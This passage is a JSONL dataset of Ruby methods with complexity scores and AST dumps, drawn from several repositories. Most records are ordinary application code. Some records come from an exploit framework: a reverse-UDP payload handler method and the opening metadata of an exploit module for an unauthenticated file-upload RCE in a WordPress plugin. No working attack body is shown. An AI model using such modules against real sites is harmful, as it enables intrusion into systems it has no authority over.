pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Upgrade-Insecure-Requests\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"No response from server\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hidden_inputs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_hidden_inputs\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_spec\"]},\"form_value=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hidden_inputs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"org.apache.myfaces.trinidad.faces.FORM\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_spec\"]},\"view_state=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hidden_inputs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"javax.faces.ViewState\"]}]}]}]}]}","id":"d17229ba-f564-4b7f-919f-7c781773d90f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dns/resolver.rb","start_line":399,"raw_source":"def self.default_config_file\n      %w[\n        /etc/resolv.conf\n        /data/data/com.termux/files/usr/etc/resolv.conf\n      ].find do |path|\n        File.file?(path) && File.readable?(path)\n      end\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_config_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"/etc/resolv.conf\"]},{\"type\":\"str\",\"children\":[\"/data/data/com.termux/files/usr/etc/resolv.conf\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"readable?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}","id":"8c76dac1-07ab-497e-b341-fed0c8cc0628"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/create_service.rb","start_line":89,"raw_source":"def handle_assignee_changes(issue, old_assignees)\n      return if issue.assignees == old_assignees\n\n      create_assignee_note(issue, old_assignees)\n      Gitlab::ResourceEvents::AssignmentEventRecorder.new(parent: issue, old_assignees: old_assignees).record\n      execute_flow_triggers(issue, issue.assignees, :assign)\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_assignee_changes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]},{\"type\":\"arg\",\"children\":[\"old_assignees\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"assignees\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"old_assignees\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"create_assignee_note\",{\"type\":\"lvar\",\"children\":[\"issue\"]},{\"type\":\"lvar\",\"children\":[\"old_assignees\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ResourceEvents\"]},\"AssignmentEventRecorder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"lvar\",\"children\":[\"issue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_assignees\"]},{\"type\":\"lvar\",\"children\":[\"old_assignees\"]}]}]}]},\"record\"]},{\"type\":\"send\",\"children\":[null,\"execute_flow_triggers\",{\"type\":\"lvar\",\"children\":[\"issue\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"assignees\"]},{\"type\":\"sym\",\"children\":[\"assign\"]}]}]}]}","id":"69675977-ee45-4c2d-b7e7-bafc0776f997"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/abstract_reference_filter.rb","start_line":251,"raw_source":"def data_attributes_for(text, parent, object, link_content: false, link_reference: false)\n          parent_id = case parent\n                      when Group\n                        { group: parent.id, namespace: parent.id }\n                      when Project\n                        { project: parent.id }\n                      when Namespaces::ProjectNamespace\n                        { namespace: parent.id, project: parent.project.id }\n                      end\n\n          {\n            original: text,\n            link: link_content,\n            link_reference: link_reference,\n            object_sym => object.id\n          }.merge(parent_id)\n        end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"data_attributes_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"kwoptarg\",\"children\":[\"link_content\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"link_reference\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent_id\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"id\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"id\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaces\"]},\"ProjectNamespace\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"project\"]},\"id\"]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"original\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"lvar\",\"children\":[\"link_content\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_reference\"]},{\"type\":\"lvar\",\"children\":[\"link_reference\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_sym\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"id\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"parent_id\"]}]}]}]}","id":"f4f278b7-4ec3-47c7-b72a-b0fa7896f5ac"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/token_store.rb","start_line":11,"raw_source":"def create_user_token(token, data, options)\n      write(token, data, options)\n    ensure\n      if data[:userid]\n        user_tokens_cache_key = \"tokens_for_#{data[:userid]}\"\n        user_tokens_cache = read(user_tokens_cache_key) || []\n        user_tokens_cache << token\n        write(user_tokens_cache_key, user_tokens_cache)\n      end\n    end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create_user_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]},{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"userid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_tokens_cache_key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tokens_for_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"userid\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_tokens_cache\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read\",{\"type\":\"lvar\",\"children\":[\"user_tokens_cache_key\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_tokens_cache\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"lvar\",\"children\":[\"user_tokens_cache_key\"]},{\"type\":\"lvar\",\"children\":[\"user_tokens_cache\"]}]}]},null]}]}]}","id":"0e176150-70ec-4bbb-8d7a-22e4544d4127"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision/automate.rb","start_line":54,"raw_source":"def get_most_suitable_host\n    attrs = automate_attributes('get_host')\n    ws = MiqAeEngine.resolve_automation_object(\"REQUEST\", get_user, attrs, :vmdb_object => self)\n    reload\n    MiqAeMethodService::MiqAeServiceConverter.svc2obj(ws.root[\"host\"])\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"get_most_suitable_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"send\",\"children\":[null,\"automate_attributes\",{\"type\":\"str\",\"children\":[\"get_host\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ws\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAeEngine\"]},\"resolve_automation_object\",{\"type\":\"str\",\"children\":[\"REQUEST\"]},{\"type\":\"send\",\"children\":[null,\"get_user\"]},{\"type\":\"lvar\",\"children\":[\"attrs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vmdb_object\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"reload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAeMethodService\"]},\"MiqAeServiceConverter\"]},\"svc2obj\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ws\"]},\"root\"]},\"[]\",{\"type\":\"str\",\"children\":[\"host\"]}]}]}]}]}","id":"cdfe8eb8-5d86-45d5-9f7c-00ebeb8da20e"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/template_test.rb","start_line":324,"raw_source":"def test_rendered_string_is_html_safe; skip\n    assert(render(\"Foo\").html_safe?)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rendered_string_is_html_safe\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"Foo\"]}]},\"html_safe?\"]}]}]}]}","id":"18c3a43f-6368-4a61-aecb-4094e1e7bcba"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/seeder.rb","start_line":5,"raw_source":"def execute(args = {})\n      return if !SiteSetting.needs_chat_seeded\n\n      begin\n        create_category_channel_from(SiteSetting.staff_category_id)\n        create_category_channel_from(SiteSetting.general_category_id)\n      rescue => error\n        Rails.logger.warn(\"Error seeding chat category - #{error.inspect}\")\n      ensure\n        SiteSetting.needs_chat_seeded = false\n      end\n    end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"needs_chat_seeded\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_category_channel_from\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"staff_category_id\"]}]},{\"type\":\"send\",\"children\":[null,\"create_category_channel_from\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"general_category_id\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error seeding chat category - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"inspect\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"needs_chat_seeded=\",{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"957805b3-7d15-4e0d-870b-9110c1310981"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/o_auth/before_request_phase_oauth_login_counter_increment.rb","start_line":18,"raw_source":"private_class_method def self.current_provider_name_from(env)\n          env['omniauth.strategy']&.name\n        end","complexity_score":2.7,"ast_json":"{\"type\":\"send\",\"children\":[null,\"private_class_method\",{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_provider_name_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"omniauth.strategy\"]}]},\"name\"]}]}]}","id":"44354a6c-7823-4c1a-9121-8fc0f53662f7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/composer/version_index_spec.rb","start_line":32,"raw_source":"def expected_json(package)\n        {\n          'dist' => {\n            'reference' => branch.target,\n            'shasum' => '',\n            'type' => 'zip',\n            'url' => \"http://localhost/api/v4/projects/#{project.id}/packages/composer/archives/#{package.name}.zip?sha=#{branch.target}\"\n          },\n          'source' => {\n            'reference' => branch.target,\n            'type' => 'git',\n            'url' => url\n          },\n          'name' => package.name,\n          'uid' => package.id,\n          'version' => package.version\n        }\n      end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expected_json\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"dist\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"reference\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"branch\"]},\"target\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"shasum\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"zip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://localhost/api/v4/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/packages/composer/archives/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\".zip?sha=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"branch\"]},\"target\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"source\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"reference\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"branch\"]},\"target\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"git\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[null,\"url\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"version\"]}]}]}]}","id":"2b595868-8cff-4dbe-8858-03252d62fef4"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/standard_filter_test.rb","start_line":933,"raw_source":"def test_has_with_empty_arrays\n    template = <<~LIQUID\n      {%- assign has_product = products | has: 'title.content', 'Not found' -%}\n      {%- unless has_product -%}\n        Product not found.\n      {%- endunless -%}\n    LIQUID\n    expected_output = \"Product not found.\"\n\n    assert_template_result(expected_output, template, { \"products\" => [] })\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_with_empty_arrays\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{%- assign has_product = products | has: 'title.content', 'Not found' -%}\\n\"]},{\"type\":\"str\",\"children\":[\"{%- unless has_product -%}\\n\"]},{\"type\":\"str\",\"children\":[\"  Product not found.\\n\"]},{\"type\":\"str\",\"children\":[\"{%- endunless -%}\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_output\",{\"type\":\"str\",\"children\":[\"Product not found.\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"lvar\",\"children\":[\"expected_output\"]},{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"products\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}","id":"4ce9650a-f079-468e-bcb7-1507eb514b6b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/analytics/cycle_analytics/flow_metrics.rb","start_line":7,"raw_source":"def self.[](context = :project)\n          Class.new(BaseObject) do\n            graphql_name \"#{context.capitalize}ValueStreamAnalyticsFlowMetrics\"\n            description 'Exposes aggregated value stream flow metrics'\n\n            field :issue_count,\n              Types::Analytics::CycleAnalytics::MetricType,\n              null: true,\n              description: 'Number of issues opened in the given period.',\n              resolver: Resolvers::Analytics::CycleAnalytics::IssueCountResolver[context]\n            field :deployment_count,\n              Types::Analytics::CycleAnalytics::MetricType,\n              null: true,\n              description: 'Number of production deployments in the given period.',\n              resolver: Resolvers::Analytics::CycleAnalytics::DeploymentCountResolver[context]\n          end\n        end","complexity_score":12.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"context\",{\"type\":\"sym\",\"children\":[\"project\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"BaseObject\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"graphql_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"capitalize\"]}]},{\"type\":\"str\",\"children\":[\"ValueStreamAnalyticsFlowMetrics\"]}]}]},{\"type\":\"send\",\"children\":[null,\"description\",{\"type\":\"str\",\"children\":[\"Exposes aggregated value stream flow metrics\"]}]},{\"type\":\"send\",\"children\":[null,\"field\",{\"type\":\"sym\",\"children\":[\"issue_count\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Types\"]},\"Analytics\"]},\"CycleAnalytics\"]},\"MetricType\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Number of issues opened in the given period.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resolver\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resolvers\"]},\"Analytics\"]},\"CycleAnalytics\"]},\"IssueCountResolver\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"field\",{\"type\":\"sym\",\"children\":[\"deployment_count\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Types\"]},\"Analytics\"]},\"CycleAnalytics\"]},\"MetricType\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Number of production deployments in the given period.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resolver\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resolvers\"]},\"Analytics\"]},\"CycleAnalytics\"]},\"DeploymentCountResolver\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}]}]}]}]}","id":"fcf80839-fd34-4172-b2e2-5290789361ba"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/handler/reverse_udp.rb","start_line":47,"raw_source":"def payload_uri\n    addr = datastore['LHOST']\n    uri_host = Rex::Socket.is_ipv6?(addr) ? \"[#{addr}]\" : addr\n    \"udp://#{uri_host}:#{datastore['LPORT']}\"\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"payload_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"addr\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri_host\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"is_ipv6?\",{\"type\":\"lvar\",\"children\":[\"addr\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]},{\"type\":\"lvar\",\"children\":[\"addr\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"udp://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri_host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]}]}]}]}","id":"95c0ce71-6eef-4560-91d8-5aeaed35bbef"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_royal_elementor_addons_rce.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'WordPress Royal Elementor Addons RCE',\n        'Description' => %q{\n          Exploit for the unauthenticated file upload vulnerability in WordPress Royal Elementor Addons and Templates plugin (< 1.3.79).\n        },\n        'Author' => [\n          'Fioravante Souza', # Vulnerability discovery\n          'Valentin Lobstein' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2023-5360'],\n          ['URL', 'https://vulners.com/nuclei/NUCLEI:CVE-2023-5360'],\n          ['WPVDB', '281518ff-7816-4007-b712-63aed7828b34']\n        ],\n        'Platform' => ['unix', 'linux', 'win', 'php'],\n        'Arch' => [ARCH_PHP, ARCH_CMD],\n        'Targets' => [['Automatic', {}]],\n        'DisclosureDate' => '2023-11-23',\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'SSL' => true,\n          'RPORT' => 443\n        },\n        'Privileged' => false,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS]\n        }\n      )\n  )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"WordPress Royal Elementor Addons RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Exploit for the unauthenticated file upload vulnerability in WordPress Royal Elementor Addons and Templates plugin (< 1.3.79).\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Fioravante Souza\"]},{\"type\":\"str\",\"children\":[\"Valentin 